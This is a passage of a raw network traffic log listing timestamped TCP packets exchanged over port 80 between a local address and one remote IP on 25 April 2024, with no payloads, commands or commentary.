Apr 25, 2024 21:47:59.775310040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.775371075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.775626898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.775674105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.776088953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776139975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.776221991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776264906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.776367903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776380062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776390076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776406050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776431084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.776437044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776438951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.776449919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776463032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776475906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776488066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776493073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.776496887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776509047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.776513100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776520014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776525021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.776623964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.777352095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.824668884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.824690104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.824702024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.824717045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.824742079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.824769974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.824774981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.824820042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.824820042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.824836016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.824863911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.824879885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.825201988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.825251102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.825392008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.825438023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.825898886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.825947046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.826215982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.826265097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.826356888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.826402903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.827136993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.827148914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.827184916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.827204943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.827438116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.827487946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.828109026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.828155041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.828246117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.828293085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.828336000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.828382015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.828697920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.828743935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.829114914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.829173088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.829556942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.829570055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.829603910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.829617023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.829868078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.829883099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.829894066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.829905033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.829915047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.829943895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830009937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830022097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830033064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830048084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830054998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830061913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830068111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830079079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830100060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830127001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830140114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830152035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830163002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830168962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830177069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830179930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830188036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830193996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830208063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830210924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830219030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830233097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830245972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830250025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830267906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830275059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830280066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830290079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830292940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830305099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830310106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830317020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830319881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830331087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830339909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830346107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.830370903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.830384970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.879256010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.879327059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.879389048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.879427910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.879565954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.879580021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.879602909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.879611969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.879754066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.879766941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.879798889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.879812956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.879944086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.879991055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880110025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880124092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880155087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880157948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880170107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880172968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880193949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880203962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880373955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880386114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880398035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880418062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880431890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880542040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880577087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880587101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880589962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880603075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880614996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880628109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880646944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880780935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880794048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880804062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880815983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880825043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880835056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880861044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.880950928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880964994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880975962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.880997896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.881007910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.881100893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.881145954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.881244898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.881290913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.881377935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.881429911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.881469965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.881515026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.881642103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.881685019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.881822109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.881833076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.881865978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.881896973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.881908894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882078886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882091999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882102013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882112980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882159948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882159948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882200956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882260084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882273912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882308006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882416964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882430077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882440090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882458925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882481098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882488966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882534981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882675886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882688046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882699013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882710934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882716894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882726908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882755995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882844925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882858038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882868052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.882889986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.882911921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883022070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883071899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883084059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883096933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883097887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883111000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883121967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883122921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883148909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883162022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883263111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883275986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883287907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883297920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883308887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883325100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883428097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883441925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883454084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883464098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883472919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883497953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883626938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883671045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883788109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883799076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883809090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883841991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883850098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.883955956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.883969069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884000063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884004116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884016991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884022951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884030104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884040117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884049892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884068966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884215117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884227037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884259939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884268045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884396076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884440899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884588957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884602070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884612083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884624004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884633064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884649038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884675980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884751081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884797096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884938002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884949923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884962082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.884983063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.884996891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.885102034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.885114908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.885149002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.885153055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.885174036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.885181904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.931871891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.931889057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.931900024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.931937933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.931967020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.931989908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932002068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932013035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932019949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932025909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932090998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932090998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932090998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932161093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932173967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932184935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932198048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932199001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932224035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932249069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932323933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932337999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932348967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932353973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932365894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932398081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932398081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932418108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932528973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932542086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932563066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932581902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932585001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932616949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932796001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932809114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932818890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932830095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932847977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.932966948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932981968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.932992935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933003902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933032036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933146954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933160067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933176041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933181047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933202028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933207989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933218002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933242083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933294058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933355093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933419943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933459044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933470964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933480024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933497906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933520079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933607101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933619022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933639050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933660030 CEST	49704	80	192.168.2.5	185.172.128.76
